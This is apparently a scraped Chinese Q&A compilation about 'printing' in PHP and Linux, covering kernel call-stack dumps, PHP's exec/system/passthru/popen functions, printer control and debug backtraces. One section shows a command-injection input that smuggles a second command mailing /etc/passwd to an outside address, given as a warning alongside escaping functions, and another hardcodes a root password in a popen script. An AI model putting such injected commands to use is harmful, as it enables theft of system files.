导航:首页 > 编程语言 > php打印调用栈

php打印调用栈

发布时间:2022-11-30 00:42:00

❶ 如何获取内核指定线程的调用栈

方法一:可以通过/proc/线程ID/stack来获取指定线程当前的调用栈,但是该方案存在限制:可能不能准确获取出问题的时候该线程的调用栈

方法二:通过内核接口save_stack_trace_tsk和%pS,在程序检测到异常的时候打印出对应的调用栈用于问题定位,具体的方法(从内核/proc文件系统处理打印调用栈的proc_pid_stack中简单修改而来):

[cpp] view plain
static int kprink_stack(struct task_struct *task)
{
struct stack_trace trace;
unsigned long *entries;
int err;

entries = kmalloc(MAX_STACK_TRACE_DEPTH * sizeof(*entries), GFP_KERNEL);
if (!entries)
return -ENOMEM;

trace.nr_entries = 0;/*调用返回后,为记录的调用栈中的有效符号的个数*/
trace.max_entries = MAX_STACK_TRACE_DEPTH;/*传入的trace.entries的大小,save_stack_trace_tsk最多保持该数量的调用栈符号*/
trace.entries = entries;/*返回的符号地址保存在这里*/
trace.skip = 0;/*从调用栈的顶开始,忽略的调用栈符号数量*/

err = lock_trace(task);
if (!err) {
save_stack_trace_tsk(task, &trace);

for (i = 0; i < trace.nr_entries; i++) {
printk(m, "[<%pK>] %pS\n",
(void *)entries[i], (void *)entries[i]);
}
unlock_trace(task);
}
kfree(entries);

return err;
}
说明:其中的%pS用于打印内核符号,内核的相关处理见printk--->vprintk--->vscnprintf-->vsnprintf-->symbol_string的处理

php怎么实现在客户端打印存于服务器端的文档的功能。急求大神!

有两种情况,
1、客户端在php页面,在服务端打印,也就是服务端的打印机打印;

通过exec函数调用,exec("程序完整路径及文件名")

2、客户端通过php页面,执行exe程序,在客户端的电脑上打印
由服务端提供打印内容,客户需要下载exe程序,通过js代码调用打印。
网上有现成的js代码的自定义exec()函数,网络便知。

❸ 在php命令行业中怎样打印内容

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看

要考虑两个问题:安全性和超时。

看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

❹ php 怎么打印调用方法的目录

某些编辑器是自带这个功能的。比如zend studio
当前你也可以自己手动去查找。
先在类 Yc_youliaoMoleWxapp 中进行查找。看是否在子类中定义。
如果子类中没有,然后在搜索找到 类 WeMoleWxapp 然后再去在父类中查找。(sublime text可以对文件夹中的所有文件进行查询:当然直接搜索 n pay 也可以找到)

❺ 如何打印内核调用堆栈及函数名

static void
__report_bad_irq(unsigned int irq, struct irq_desc *desc,
irqreturn_t action_ret)
{
struct irqaction *action;

if (action_ret != IRQ_HANDLED && action_ret != IRQ_NONE) {
printk(KERN_ERR "irq event %d: bogus return value %x\n",
irq, action_ret);
} else {
printk(KERN_ERR "irq %d: nobody cared (try booting with "
"the \"irqpoll\" option)\n", irq);
}
mp_stack();
printk(KERN_ERR "handlers:\n");

action = desc->action;
while (action) {
printk(KERN_ERR "[<%p>]", action->handler);
print_symbol(" (%s)",
(unsigned long)action->handler);
printk("\n");
action = action->next;
}
}

==========================================================================================
irq 64: nobody cared (try booting with the "irqpoll" option)
Backtrace:
[<c0028940>] (mp_backtrace+0x0/0x104) from [<c0028a5c>] (mp_stack+0x18/0x1c)

r7:00000000 r6:00000040 r5:00000000 r4:c02dec10
[<c0028a44>] (mp_stack+0x0/0x1c) from [<c00692e0>] (__report_bad_irq+0x38/0x94
)
[<c00692a8>] (__report_bad_irq+0x0/0x94) from [<c00694a8>] (note_interrupt+0x16c
/0x1e0)
r4:c02dec10
[<c006933c>] (note_interrupt+0x0/0x1e0) from [<c0069fb4>] (handle_edge_irq+0x130
/0x150)
[<c0069e84>] (handle_edge_irq+0x0/0x150) from [<c002d98c>] (s3c_irq_demux_extint
8+0x94/0xa4)

❻ php怎么调用指定的打印机

php生成的是网页吧,然后用ie浏览,在ie上有个打印按钮,可以选择打印机
但ie不是你用php写的,是微软写的
你怎么控制一个微软写的软件,并使用它选择打印机?除非他提供了接口
微软是否提供了接口,应该没有,否则早有人回帖了
但还有一个可能,当你改变本机 打印机的首选项时,有可能记录在注册表里面。如果是这样,那就直接改变注册表,就相当于选择了打印机
但是你想,当你浏览一个网页,它会修改你的注册表,这让人放不放心,算不算病毒,会不会被杀毒软件屏蔽?或者根本通不过ie默认的安全选项
最终结局就是,b/s方式不要想控制客户的硬件
但我还是要打印,在当前,只有让客户安装打印控件,这样才可能让客户自定义打印机相关
还有一种想法,不用客户端控制来打印,把打印要求提交到服务器,让服务器选择打印机,没有用过,你不如研究一下?

另外php最多只能控制服务器的硬件,想控制客户机最多只能用js
对客户机某些打印选项的注册表操作,下面有js的例子用法,很久以前的,仅做参考

<script>
var hkey_root,hkey_path,hkey_key
hkey_root="HKEY_CURRENT_USER"
hkey_path="\\Software\\Microsoft\\Internet Explorer\\PageSetup\\"
//设置网页打印的页眉页脚为空
function pagesetup_null(){
try{
var RegWsh = new ActiveXObject("WScript.Shell")
hkey_key="header"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")
hkey_key="footer"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")
hkey_key="margin_left"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"0.2")
hkey_key="margin_bottom"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"0.2")
hkey_key="margin_right"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"0.2")
hkey_key="margin_top"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"0.2")
}catch(e){}
}
//设置网页打印的页眉页脚为默认值
function pagesetup_default(){
try{
var RegWsh = new ActiveXObject("WScript.Shell")
hkey_key="header"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&w&b页码,&p/&P")
hkey_key="footer"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&u&b&d")
}catch(e){}
}
</script>

打印分页
<p style="page-break-after:always">page1</p>
<p style="page-break-after:always">page2</p>

❼ php文件如何打印

php 并不能使用打印机打印,只能 弄出数据 和 样式来进行打印
所用的打印功能 是 浏览器本身自带的

❽ php 怎么调用打印机的控制命令

ESC使用\033表示,LF为\012,CR为\015

例如释放纸的ESC q使用下面的命令输出:
fputs($prn,"\033q");

fputs把内容发送给第一句,或者使用其它函数。

最后说明,上面的033、012、015是八进制

❾ php 怎么实现打印 功能啊 直接打印html中的table 而且为word格式 table里的内容是通过数据库获取出来的

你的打印是不是编程语言里面说的打印,例如basic语言的print语句,如果是的话,在PHP里面使用echo语句打印内容,例如:
echo '<table border=1><tr><td>1<td>2</table>';

如果你是希望程序运行后在打印机上打印输出内容,那可能比较复杂,而且不是PHP的强项,需要编写许多查找打印机的代码,简单的做法是把数据送我特殊设备,可以使用file_put_contents函数,例如:
file_put_contents('PRN:', 'print test');

❿ php能不能像java那样打印错误堆栈信息到错误日志

PHP 确实不会输出错误堆栈,但通过函数,还是能够获取到错误堆栈的。
function getBacktrace() {
ob_start();
debug_print_backtrace();
return ob_get_clean();
}

调用上面这个函数取得错误堆栈,再用 file_put_contents('log_path', FILE_APPEND); 写入日志文件即可。
还有一个办法:为 PHP 安装 xdebug 扩展
windows 下的安装方法 安装好后,修改 php.ini

阅读全文

与php打印调用栈相关的资料

热点内容
心理罪中廖亚凡怀了孩子 浏览:844
服务器如何开权限设置密码 浏览:271
申请资料填写小程序源码 浏览:177
服务器怎么私信别人 浏览:994
phpxdebug关闭 浏览:690
能看的网址大家都懂的 浏览:287
安卓程序员开发经验 浏览:660
服务器返回超时是怎么回事 浏览:653
网关后dns服务器有什么用 浏览:607
line连接不上服务器怎么办 浏览:862
付费电影免费下载 浏览:607
反编译flv 浏览:939
python替换指定位置 浏览:337
有名txt下载宝书网 浏览:197
飞机app安卓怎么注册 浏览:801
电影院默认场区什么意思 浏览:657
韩国 禁忌 姐弟爱唯美电影 浏览:82
极限压缩方法 浏览:263
小苮儿清读210部有声下载网盘 浏览:382
qt程序编译成功后 浏览:616